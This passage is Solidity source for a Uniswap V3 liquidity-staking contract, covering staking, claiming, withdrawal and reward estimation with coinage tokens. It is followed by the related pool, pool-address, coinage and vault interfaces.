nonfungiblePositionManager.permit( address(this), tokenId, deadline, v, r, s ); _stake(tokenId); } /// @dev stake tokenId of UniswapV3 /// @param tokenId tokenId function stake(uint256 tokenId) external override nonZeroAddress(token) nonZeroAddress(vault) nonZeroAddress(stakeRegistry) nonZeroAddress(poolToken0) nonZeroAddress(poolToken1) nonZeroAddress(address(nonfungiblePositionManager)) nonZeroAddress(uniswapV3FactoryAddress) { require( saleStartTime < block.timestamp, "StakeUniswapV3: before start" ); require( block.timestamp < IIStake2Vault(vault).miningEndTime(), "StakeUniswapV3: end mining" ); require( nonfungiblePositionManager.ownerOf(tokenId) == msg.sender, "StakeUniswapV3: not owner" ); _stake(tokenId); } /// @dev stake tokenId of UniswapV3 /// @param tokenId tokenId function _stake(uint256 tokenId) internal { LibUniswapV3Stake.StakeLiquidity storage _depositTokens = depositTokens[tokenId]; require( _depositTokens.owner == address(0), "StakeUniswapV3: Already staked" ); uint256 _tokenId = tokenId; ( , , address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, , , , ) = nonfungiblePositionManager.positions(_tokenId); require( (token0 == poolToken0 && token1 == poolToken1) || (token0 == poolToken1 && token1 == poolToken0), "StakeUniswapV3: different token" ); require(liquidity > 0, "StakeUniswapV3: zero liquidity"); if (poolAddress == address(0)) { poolAddress = PoolAddress.computeAddress( uniswapV3FactoryAddress, PoolAddress.PoolKey({token0: token0, token1: token1, fee: fee}) ); } require(poolAddress != address(0), "StakeUniswapV3: zero poolAddress"); (, int24 tick, , , , , bool unlocked) = IUniswapV3Pool(poolAddress).slot0(); require(unlocked, "StakeUniswapV3: unlocked pool"); require( tickLower < tick && tick < tickUpper, "StakeUniswapV3: out of tick range" ); (, , uint32 secondsInside) = IUniswapV3Pool(poolAddress).snapshotCumulativesInside( tickLower, tickUpper ); uint256 tokenId_ = _tokenId; // initial start time if (stakeStartTime == 0) stakeStartTime = block.timestamp; _depositTokens.owner = msg.sender; _depositTokens.idIndex = userStakedTokenIds[msg.sender].length; _depositTokens.liquidity = liquidity; _depositTokens.tickLower = tickLower; _depositTokens.tickUpper = tickUpper; _depositTokens.startTime = uint32(block.timestamp); _depositTokens.claimedTime = 0; _depositTokens.secondsInsideInitial = secondsInside; _depositTokens.secondsInsideLast = 0; nonfungiblePositionManager.transferFrom( msg.sender, address(this), tokenId_ ); // save tokenid userStakedTokenIds[msg.sender].push(tokenId_); totalStakedAmount = totalStakedAmount.add(liquidity); totalTokens = totalTokens.add(1); LibUniswapV3Stake.StakedTotalTokenAmount storage _userTotalStaked = userTotalStaked[msg.sender]; if (!_userTotalStaked.staked) totalStakers = totalStakers.add(1); _userTotalStaked.staked = true; _userTotalStaked.totalDepositAmount = _userTotalStaked .totalDepositAmount .add(liquidity); LibUniswapV3Stake.StakedTokenAmount storage _stakedCoinageTokens = stakedCoinageTokens[tokenId_]; _stakedCoinageTokens.amount = liquidity; _stakedCoinageTokens.startTime = uint32(block.timestamp); //mint coinage of user amount IAutoRefactorCoinageWithTokenId(coinage).mint( msg.sender, tokenId_, uint256(liquidity).mul(10**9) ); miningCoinage(); emit Staked(msg.sender, poolAddress, tokenId_, liquidity); } /// @dev The amount mined with the deposited liquidity is claimed and taken. /// The amount of mining taken is changed in proportion to the amount of time liquidity /// has been provided since recent mining /// @param tokenId tokenId function claim(uint256 tokenId) external override { LibUniswapV3Stake.StakeLiquidity storage _depositTokens = depositTokens[tokenId]; require( _depositTokens.owner == msg.sender, "StakeUniswapV3: not staker" ); require( _depositTokens.claimedTime < uint32(block.timestamp.sub(miningIntervalSeconds)), "StakeUniswapV3: already claimed" ); require(_depositTokens.claimLock == false, "StakeUniswapV3: claiming"); _depositTokens.claimLock = true; miningCoinage(); ( uint256 miningAmount, uint256 nonMiningAmount, uint256 minableAmount, uint160 secondsInside, , , , uint256 minableAmountRay, , ) = getMiningTokenId(tokenId); require(miningAmount > 0, "StakeUniswapV3: zero miningAmount"); _depositTokens.claimedTime = uint32(block.timestamp); _depositTokens.secondsInsideLast = secondsInside; IAutoRefactorCoinageWithTokenId(coinage).burn( msg.sender, tokenId, minableAmountRay ); // storage stakedCoinageTokens LibUniswapV3Stake.StakedTokenAmount storage _stakedCoinageTokens = stakedCoinageTokens[tokenId]; _stakedCoinageTokens.claimedTime = uint32(block.timestamp); _stakedCoinageTokens.claimedAmount = _stakedCoinageTokens .claimedAmount .add(miningAmount); _stakedCoinageTokens.nonMiningAmount = _stakedCoinageTokens .nonMiningAmount .add(nonMiningAmount); // storage StakedTotalTokenAmount LibUniswapV3Stake.StakedTotalTokenAmount storage _userTotalStaked = userTotalStaked[msg.sender]; _userTotalStaked.totalMiningAmount = _userTotalStaked .totalMiningAmount .add(miningAmount); _userTotalStaked.totalNonMiningAmount = _userTotalStaked .totalNonMiningAmount .add(nonMiningAmount); // total miningAmountTotal = miningAmountTotal.add(miningAmount); nonMiningAmountTotal = nonMiningAmountTotal.add(nonMiningAmount); require( IIStake2Vault(vault).claimMining( msg.sender, minableAmount, miningAmount, nonMiningAmount ) ); _depositTokens.claimLock = false; emit Claimed( msg.sender, poolAddress, tokenId, miningAmount, nonMiningAmount ); } /// @dev withdraw the deposited token. /// The amount mined with the deposited liquidity is claimed and taken. /// The amount of mining taken is changed in proportion to the amount of time liquidity /// has been provided since recent mining /// @param tokenId tokenId function withdraw(uint256 tokenId) external override { LibUniswapV3Stake.StakeLiquidity storage _depositTokens = depositTokens[tokenId]; require( _depositTokens.owner == msg.sender, "StakeUniswapV3: not staker" ); require( _depositTokens.withdraw == false, "StakeUniswapV3: withdrawing" ); _depositTokens.withdraw = true; miningCoinage(); if (totalStakedAmount >= _depositTokens.liquidity) totalStakedAmount = totalStakedAmount.sub(_depositTokens.liquidity); if (totalTokens > 0) totalTokens = totalTokens.sub(1); ( uint256 miningAmount, uint256 nonMiningAmount, uint256 minableAmount, , , , , , , ) = getMiningTokenId(tokenId); IAutoRefactorCoinageWithTokenId(coinage).burnTokenId( msg.sender, tokenId ); // storage StakedTotalTokenAmount LibUniswapV3Stake.StakedTotalTokenAmount storage _userTotalStaked = userTotalStaked[msg.sender]; _userTotalStaked.totalDepositAmount = _userTotalStaked .totalDepositAmount .sub(_depositTokens.liquidity); _userTotalStaked.totalMiningAmount = _userTotalStaked .totalMiningAmount .add(miningAmount); _userTotalStaked.totalNonMiningAmount = _userTotalStaked .totalNonMiningAmount .add(nonMiningAmount); // total miningAmountTotal = miningAmountTotal.add(miningAmount); nonMiningAmountTotal = nonMiningAmountTotal.add(nonMiningAmount); deleteUserToken(_depositTokens.owner, tokenId, _depositTokens.idIndex); delete depositTokens[tokenId]; delete stakedCoinageTokens[tokenId]; if (_userTotalStaked.totalDepositAmount == 0) { totalStakers = totalStakers.sub(1); delete userTotalStaked[msg.sender]; } if (minableAmount > 0) require( IIStake2Vault(vault).claimMining( msg.sender, minableAmount, miningAmount, nonMiningAmount ) ); nonfungiblePositionManager.safeTransferFrom( address(this), msg.sender, tokenId ); emit WithdrawalToken( msg.sender, tokenId, miningAmount, nonMiningAmount ); } /// @dev Get the list of staked tokens of the user /// @param user user address function getUserStakedTokenIds(address user) external view override returns (uint256[] memory ids) { return userStakedTokenIds[user]; } /// @dev tokenId's deposited information /// @param tokenId tokenId /// @return _poolAddress poolAddress /// @return tick tick, /// @return liquidity liquidity, /// @return args liquidity, startTime, claimedTime, startBlock, claimedBlock, claimedAmount /// @return secondsPL secondsPerLiquidityInsideInitialX128, secondsPerLiquidityInsideX128Las function getDepositToken(uint256 tokenId) external view override returns ( address _poolAddress, int24[2] memory tick, uint128 liquidity, uint256[5] memory args, uint160[2] memory secondsPL ) { LibUniswapV3Stake.StakeLiquidity memory _depositTokens = depositTokens[tokenId]; LibUniswapV3Stake.StakedTokenAmount memory _stakedCoinageTokens = stakedCoinageTokens[tokenId]; return ( poolAddress, [_depositTokens.tickLower, _depositTokens.tickUpper], _depositTokens.liquidity, [ _depositTokens.startTime, _depositTokens.claimedTime, _stakedCoinageTokens.startTime, _stakedCoinageTokens.claimedTime, _stakedCoinageTokens.claimedAmount ], [ _depositTokens.secondsInsideInitial, _depositTokens.secondsInsideLast ] ); } /// @dev user's staked total infos /// @param user user address /// @return totalDepositAmount total deposited amount /// @return totalMiningAmount total mining amount , /// @return totalNonMiningAmount total non-mining amount, function getUserStakedTotal(address user) external view override returns ( uint256 totalDepositAmount, uint256 totalMiningAmount, uint256 totalNonMiningAmount ) { return ( userTotalStaked[user].totalDepositAmount, userTotalStaked[user].totalMiningAmount, userTotalStaked[user].totalNonMiningAmount ); } /// @dev totalSupply of coinage function totalSupplyCoinage() external view returns (uint256) { return IAutoRefactorCoinageWithTokenId(coinage).totalSupply(); } /// @dev balanceOf of tokenId's coinage function balanceOfCoinage(uint256 tokenId) external view returns (uint256) { return IAutoRefactorCoinageWithTokenId(coinage).balanceOf(tokenId); } /// @dev Give the infomation of this stakeContracts /// @return return1 [token, vault, stakeRegistry, coinage] /// @return return2 [poolToken0, poolToken1, nonfungiblePositionManager, uniswapV3FactoryAddress] /// @return return3 [totalStakers, totalStakedAmount, miningAmountTotal,nonMiningAmountTotal] function infos() external view override returns ( address[4] memory, address[4] memory, uint256[4] memory ) { return ( [token, vault, stakeRegistry, coinage], [ poolToken0, poolToken1, address(nonfungiblePositionManager), uniswapV3FactoryAddress ], [ totalStakers, totalStakedAmount, miningAmountTotal, nonMiningAmountTotal ] ); } /* /// @dev pool's infos /// @return factory pool's factory address /// @return token0 token0 address /// @return token1 token1 address /// @return fee fee /// @return tickSpacing tickSpacing /// @return maxLiquidityPerTick maxLiquidityPerTick /// @return liquidity pool's liquidity function poolInfos() external view override nonZeroAddress(poolAddress) returns ( address factory, address token0, address token1, uint24 fee, int24 tickSpacing, uint128 maxLiquidityPerTick, uint128 liquidity ) { liquidity = IUniswapV3Pool(poolAddress).liquidity(); factory = IUniswapV3Pool(poolAddress).factory(); token0 = IUniswapV3Pool(poolAddress).token0(); token1 = IUniswapV3Pool(poolAddress).token1(); fee = IUniswapV3Pool(poolAddress).fee(); tickSpacing = IUniswapV3Pool(poolAddress).tickSpacing(); maxLiquidityPerTick = IUniswapV3Pool(poolAddress).maxLiquidityPerTick(); } */ /* /// @dev key's info /// @param key hash(owner, tickLower, tickUpper) /// @return _liquidity key's liquidity /// @return feeGrowthInside0LastX128 key's feeGrowthInside0LastX128 /// @return feeGrowthInside1LastX128 key's feeGrowthInside1LastX128 /// @return tokensOwed0 key's tokensOwed0 /// @return tokensOwed1 key's tokensOwed1 function poolPositions(bytes32 key) external view override nonZeroAddress(poolAddress) returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ) { ( _liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128, tokensOwed0, tokensOwed1 ) = IUniswapV3Pool(poolAddress).positions(key); } */ /// @dev pool's slot0 (current position) /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// @return tick The current tick of the pool /// @return observationIndex The index of the last oracle observation that was written, /// @return observationCardinality The current maximum number of observations stored in the pool, /// @return observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// @return feeProtocol The protocol fee for both tokens of the pool /// @return unlocked Whether the pool is currently locked to reentrancy function poolSlot0() external view override nonZeroAddress(poolAddress) returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ) { ( sqrtPriceX96, tick, observationIndex, observationCardinality, observationCardinalityNext, feeProtocol, unlocked ) = IUniswapV3Pool(poolAddress).slot0(); } /* /// @dev _tokenId's position /// @param _tokenId tokenId /// @return nonce the nonce for permits /// @return operator the address that is approved for spending this token /// @return token0 The address of the token0 for pool /// @return token1 The address of the token1 for pool /// @return fee The fee associated with the pool /// @return tickLower The lower end of the tick range for the position /// @return tickUpper The higher end of the tick range for the position /// @return liquidity The liquidity of the position /// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position /// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position /// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation /// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation function npmPositions(uint256 _tokenId) external view override nonZeroAddress(address(nonfungiblePositionManager)) returns ( uint96 nonce, address operator, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ) { return nonfungiblePositionManager.positions(_tokenId); } */ /* /// @dev snapshotCumulativesInside /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range /// @return curTimestamps current Timestamps function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view override nonZeroAddress(poolAddress) returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside, uint32 curTimestamps ) { tickCumulativeInside; secondsPerLiquidityInsideX128; secondsInside; curTimestamps = uint32(block.timestamp); ( tickCumulativeInside, secondsPerLiquidityInsideX128, secondsInside ) = IUniswapV3Pool(poolAddress).snapshotCumulativesInside( tickLower, tickUpper ); } */ /// @dev mining end time /// @return endTime mining end time function miningEndTime() external view override nonZeroAddress(vault) returns (uint256) { return IIStake2Vault(vault).miningEndTime(); } /// @dev get price /// @param decimals pool's token1's decimals (ex. 1e18) /// @return price price function getPrice(uint256 decimals) external view override nonZeroAddress(poolAddress) returns (uint256 price) { (uint160 sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0(); return uint256(sqrtPriceX96).mul(uint256(sqrtPriceX96)).mul(decimals) >> (96 * 2); } /// @dev Liquidity provision time (seconds) at a specific point in time since the token was recently mined /// @param tokenId token id /// @param expectBlocktimestamp The specific time you want to know (It must be greater than the last mining time.) set it to the current time. /// @return secondsAbsolute Absolute duration (in seconds) from the latest mining to the time of expectTime /// @return secondsInsideDiff256 The time (in seconds) that the token ID provided liquidity from the last claim (or staking time) to the present time. /// @return expectTime time used in the calculation function currentliquidityTokenId( uint256 tokenId, uint256 expectBlocktimestamp ) public view override nonZeroAddress(poolAddress) returns ( uint256 secondsAbsolute, uint256 secondsInsideDiff256, uint256 expectTime ) { secondsAbsolute = 0; secondsInsideDiff256 = 0; expectTime = 0; if ( stakeStartTime > 0 && expectBlocktimestamp > coinageLastMintBlockTimetamp ) { expectTime = expectBlocktimestamp; LibUniswapV3Stake.StakeLiquidity storage _depositTokens = depositTokens[tokenId]; (, , uint160 secondsInside) = IUniswapV3Pool(poolAddress).snapshotCumulativesInside( _depositTokens.tickLower, _depositTokens.tickUpper ); if ( expectTime > _depositTokens.claimedTime && expectTime > _depositTokens.startTime ) { if (_depositTokens.claimedTime > 0) { secondsAbsolute = expectTime.sub( (uint256)(_depositTokens.claimedTime) ); } else { secondsAbsolute = expectTime.sub( (uint256)(_depositTokens.startTime) ); } if (secondsAbsolute > 0) { if (_depositTokens.secondsInsideLast > 0) { secondsInsideDiff256 = uint256(secondsInside).sub( uint256(_depositTokens.secondsInsideLast) ); } else { secondsInsideDiff256 = uint256(secondsInside).sub( uint256(_depositTokens.secondsInsideInitial) ); } } } } } /// @dev Coinage balance information that tokens can receive in the future /// @param tokenId token id /// @param expectBlocktimestamp The specific time you want to know (It must be greater than the last mining time.) /// @return currentTotalCoinage Current Coinage Total Balance /// @return afterTotalCoinage Total balance of Coinage at a future point in time /// @return afterBalanceTokenId The total balance of the coin age of the token at a future time /// @return expectTime future time /// @return addIntervalTime Duration (in seconds) between the future time and the recent mining time function currentCoinageBalanceTokenId( uint256 tokenId, uint256 expectBlocktimestamp ) public view override nonZeroAddress(poolAddress) returns ( uint256 currentTotalCoinage, uint256 afterTotalCoinage, uint256 afterBalanceTokenId, uint256 expectTime, uint256 addIntervalTime ) { currentTotalCoinage = 0; afterTotalCoinage = 0; afterBalanceTokenId = 0; expectTime = 0; addIntervalTime = 0; if ( stakeStartTime > 0 && expectBlocktimestamp > coinageLastMintBlockTimetamp ) { expectTime = expectBlocktimestamp; uint256 miningEndTime_ = IIStake2Vault(vault).miningEndTime(); if (expectTime > miningEndTime_) expectTime = miningEndTime_; currentTotalCoinage = IAutoRefactorCoinageWithTokenId(coinage) .totalSupply(); (uint256 balance, uint256 refactoredCount, uint256 remain) = IAutoRefactorCoinageWithTokenId(coinage).balancesTokenId( tokenId ); uint256 coinageLastMintTime = coinageLastMintBlockTimetamp; if (coinageLastMintTime == 0) coinageLastMintTime = stakeStartTime; addIntervalTime = expectTime.sub(coinageLastMintTime); if ( miningIntervalSeconds > 0 && addIntervalTime > miningIntervalSeconds ) addIntervalTime = addIntervalTime.sub(miningIntervalSeconds); if (addIntervalTime > 0) { uint256 miningPerSecond_ = IIStake2Vault(vault).miningPerSecond(); uint256 addAmountCoinage = addIntervalTime.mul(miningPerSecond_); afterTotalCoinage = currentTotalCoinage.add( addAmountCoinage.mul(10**9) ); uint256 factor_ = IAutoRefactorCoinageWithTokenId(coinage).factor(); uint256 infactor = _calcNewFactor( currentTotalCoinage, afterTotalCoinage, factor_ ); uint256 count = 0; uint256 f = infactor; for (; f >= 10**28; f = f.div(2)) { count = count.add(1); } uint256 afterBalanceTokenId_ = applyCoinageFactor(balance, refactoredCount, f, count); afterBalanceTokenId = afterBalanceTokenId_.add(remain); } } } /// @dev Estimated additional claimable amount on a specific time /// @param tokenId token id /// @param expectBlocktimestamp The specific time you want to know (It must be greater than the last mining time.) /// @return miningAmount Amount you can claim /// @return nonMiningAmount The amount that burn without receiving a claim /// @return minableAmount Total amount of mining allocated at the time of claim /// @return minableAmountRay Total amount of mining allocated at the time of claim (ray unit) /// @return expectTime time used in the calculation function expectedPlusClaimableAmount( uint256 tokenId, uint256 expectBlocktimestamp ) external view override nonZeroAddress(poolAddress) returns ( uint256 miningAmount, uint256 nonMiningAmount, uint256 minableAmount, uint256 minableAmountRay, uint256 expectTime ) { miningAmount = 0; nonMiningAmount = 0; minableAmount = 0; minableAmountRay = 0; expectTime = 0; if ( stakeStartTime > 0 && expectBlocktimestamp > coinageLastMintBlockTimetamp ) { expectTime = expectBlocktimestamp; uint256 afterBalanceTokenId = 0; uint256 secondsAbsolute = 0; uint256 secondsInsideDiff256 = 0; uint256 currentBalanceOfTokenId = IAutoRefactorCoinageWithTokenId(coinage).balanceOf(tokenId); (secondsAbsolute, secondsInsideDiff256, ) = currentliquidityTokenId( tokenId, expectTime ); (, , afterBalanceTokenId, , ) = currentCoinageBalanceTokenId( tokenId, expectTime ); if ( currentBalanceOfTokenId > 0 && afterBalanceTokenId > currentBalanceOfTokenId ) { minableAmountRay = afterBalanceTokenId.sub( currentBalanceOfTokenId ); minableAmount = minableAmountRay.div(10**9); } if (minableAmount > 0 && secondsAbsolute > 0 && secondsInsideDiff256 > 0 ) { if ( secondsInsideDiff256 < secondsAbsolute && secondsInsideDiff256 > 0 ) { miningAmount = minableAmount.mul(secondsInsideDiff256).div( secondsAbsolute ); nonMiningAmount = minableAmount.sub(miningAmount); } else { miningAmount = minableAmount; } } else if(secondsInsideDiff256 == 0){ nonMiningAmount = minableAmount; } } } function applyCoinageFactor( uint256 v, uint256 refactoredCount, uint256 _factor, uint256 refactorCount ) internal pure returns (uint256) { if (v == 0) { return 0; } v = rmul2(v, _factor); for (uint256 i = refactoredCount; i < refactorCount; i++) { v = v * (2); } return v; } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library PoolAddress { bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address( uint256( keccak256( abi.encodePacked( hex'ff', factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ) ) ) ); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.7.6; interface IStakeUniswapV3 { /// @dev stake tokenId of UniswapV3 /// @param tokenId tokenId /// @param deadline the deadline that valid the owner's signature /// @param v the owner's signature - v /// @param r the owner's signature - r /// @param s the owner's signature - s function stakePermit( uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /// @dev stake tokenId of UniswapV3 /// @param tokenId tokenId function stake(uint256 tokenId) external; /// @dev view mining information of tokenId /// @param tokenId tokenId function getMiningTokenId(uint256 tokenId) external returns ( uint256 miningAmount, uint256 nonMiningAmount, uint256 minableAmount, uint160 secondsInside, uint256 secondsInsideDiff256, uint256 liquidity, uint256 balanceOfTokenIdRay, uint256 minableAmountRay, uint256 secondsInside256, uint256 secondsAbsolute256 ); /// @dev withdraw the deposited token. /// The amount mined with the deposited liquidity is claimed and taken. /// The amount of mining taken is changed in proportion to the amount of time liquidity /// has been provided since recent mining /// @param tokenId tokenId function withdraw(uint256 tokenId) external; /// @dev The amount mined with the deposited liquidity is claimed and taken. /// The amount of mining taken is changed in proportion to the amount of time liquidity /// has been provided since recent mining /// @param tokenId tokenId function claim(uint256 tokenId) external; // function setPool( // address token0, // address token1, // string calldata defiInfoName // ) external; /// @dev function getUserStakedTokenIds(address user) external view returns (uint256[] memory ids); /// @dev tokenId's deposited information /// @param tokenId tokenId /// @return poolAddress poolAddress /// @return tick tick, /// @return liquidity liquidity, /// @return args liquidity, startTime, claimedTime, startBlock, claimedBlock, claimedAmount /// @return secondsPL secondsPerLiquidityInsideInitialX128, secondsPerLiquidityInsideX128Las function getDepositToken(uint256 tokenId) external view returns ( address poolAddress, int24[2] memory tick, uint128 liquidity, uint256[5] memory args, uint160[2] memory secondsPL ); function getUserStakedTotal(address user) external view returns ( uint256 totalDepositAmount, uint256 totalClaimedAmount, uint256 totalUnableClaimAmount ); /// @dev Give the infomation of this stakeContracts /// @return return1 [token, vault, stakeRegistry, coinage] /// @return return2 [poolToken0, poolToken1, nonfungiblePositionManager, uniswapV3FactoryAddress] /// @return return3 [totalStakers, totalStakedAmount, rewardClaimedTotal,rewardNonLiquidityClaimTotal] function infos() external view returns ( address[4] memory, address[4] memory, uint256[4] memory ); /* /// @dev pool's infos /// @return factory pool's factory address /// @return token0 token0 address /// @return token1 token1 address /// @return fee fee /// @return tickSpacing tickSpacing /// @return maxLiquidityPerTick maxLiquidityPerTick /// @return liquidity pool's liquidity function poolInfos() external view returns ( address factory, address token0, address token1, uint24 fee, int24 tickSpacing, uint128 maxLiquidityPerTick, uint128 liquidity ); /// @dev key's info /// @param key hash(owner, tickLower, tickUpper) /// @return _liquidity key's liquidity /// @return feeGrowthInside0LastX128 key's feeGrowthInside0LastX128 /// @return feeGrowthInside1LastX128 key's feeGrowthInside1LastX128 /// @return tokensOwed0 key's tokensOwed0 /// @return tokensOwed1 key's tokensOwed1 function poolPositions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); */ /// @dev pool's slot0 (current position) /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// @return tick The current tick of the pool /// @return observationIndex The index of the last oracle observation that was written, /// @return observationCardinality The current maximum number of observations stored in the pool, /// @return observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// @return feeProtocol The protocol fee for both tokens of the pool /// @return unlocked Whether the pool is currently locked to reentrancy function poolSlot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /* /// @dev _tokenId's position /// @param _tokenId tokenId /// @return nonce the nonce for permits /// @return operator the address that is approved for spending this token /// @return token0 The address of the token0 for pool /// @return token1 The address of the token1 for pool /// @return fee The fee associated with the pool /// @return tickLower The lower end of the tick range for the position /// @return tickUpper The higher end of the tick range for the position /// @return liquidity The liquidity of the position /// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position /// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position /// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation /// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation function npmPositions(uint256 _tokenId) external view returns ( uint96 nonce, address operator, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @dev snapshotCumulativesInside /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range /// @return curTimestamps current Timestamps function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside, uint32 curTimestamps ); */ /// @dev mining end time /// @return endTime mining end time function miningEndTime() external view returns (uint256 endTime); /// @dev get price /// @param decimals pool's token1's decimals (ex. 1e18) /// @return price price function getPrice(uint256 decimals) external view returns (uint256 price); /// @dev Liquidity provision time (seconds) at a specific point in time since the token was recently mined /// @param tokenId token id /// @param expectBlocktimestamp The specific time you want to know (It must be greater than the last mining time.) set it to the current time. /// @return secondsAbsolute Absolute duration (in seconds) from the latest mining to the time of expectTime /// @return secondsInsideDiff256 The time (in seconds) that the token ID provided liquidity from the last claim (or staking time) to the present time. /// @return expectTime time used in the calculation function currentliquidityTokenId( uint256 tokenId, uint256 expectBlocktimestamp ) external view returns ( uint256 secondsAbsolute, uint256 secondsInsideDiff256, uint256 expectTime ); /// @dev Coinage balance information that tokens can receive in the future /// @param tokenId token id /// @param expectBlocktimestamp The specific time you want to know (It must be greater than the last mining time.) /// @return currentTotalCoinage Current Coinage Total Balance /// @return afterTotalCoinage Total balance of Coinage at a future point in time /// @return afterBalanceTokenId The total balance of the coin age of the token at a future time /// @return expectTime future time /// @return addIntervalTime Duration (in seconds) between the future time and the recent mining time function currentCoinageBalanceTokenId( uint256 tokenId, uint256 expectBlocktimestamp ) external view returns ( uint256 currentTotalCoinage, uint256 afterTotalCoinage, uint256 afterBalanceTokenId, uint256 expectTime, uint256 addIntervalTime ); /// @dev Estimated additional claimable amount on a specific time /// @param tokenId token id /// @param expectBlocktimestamp The specific time you want to know (It must be greater than the last mining time.) /// @return miningAmount Amount you can claim /// @return nonMiningAmount The amount that burn without receiving a claim /// @return minableAmount Total amount of mining allocated at the time of claim /// @return minableAmountRay Total amount of mining allocated at the time of claim (ray unit) /// @return expectTime time used in the calculation function expectedPlusClaimableAmount( uint256 tokenId, uint256 expectBlocktimestamp ) external view returns ( uint256 miningAmount, uint256 nonMiningAmount, uint256 minableAmount, uint256 minableAmountRay, uint256 expectTime ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; interface IAutoRefactorCoinageWithTokenId { function factor() external view returns (uint256); function _factor() external view returns (uint256); function refactorCount() external view returns (uint256); function balancesTokenId(uint256 tokenId) external view returns ( uint256 balance, uint256 refactoredCount, uint256 remain ); function setFactor(uint256 factor_) external returns (uint256); function burn( address tokenOwner, uint256 tokenId, uint256 amount ) external; function mint( address tokenOwner, uint256 tokenId, uint256 amount ) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(uint256 tokenId) external view returns (uint256); function burnTokenId(address tokenOwner, uint256 tokenId) external; } //SPDX-License-Identifier: Unlicense pragma solidity ^0.7.6; //pragma abicoder v2; //import "../libraries/LibTokenStake1.sol"; interface IIStake2Vault { /// @dev of according to request from(staking contract) the amount of mining is paid to to. /// @param to the address that will receive the reward /// @param minableAmount minable amount /// @param miningAmount amount mined /// @param nonMiningAmount Amount not mined function claimMining( address to, uint256 minableAmount, uint256 miningAmount, uint256 nonMiningAmount ) external returns (bool); /// @dev mining per second function miningPerSecond() external view returns (uint256); /// @dev mining start time function miningStartTime() external view returns (uint256); /// @dev mining end time function miningEndTime() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // 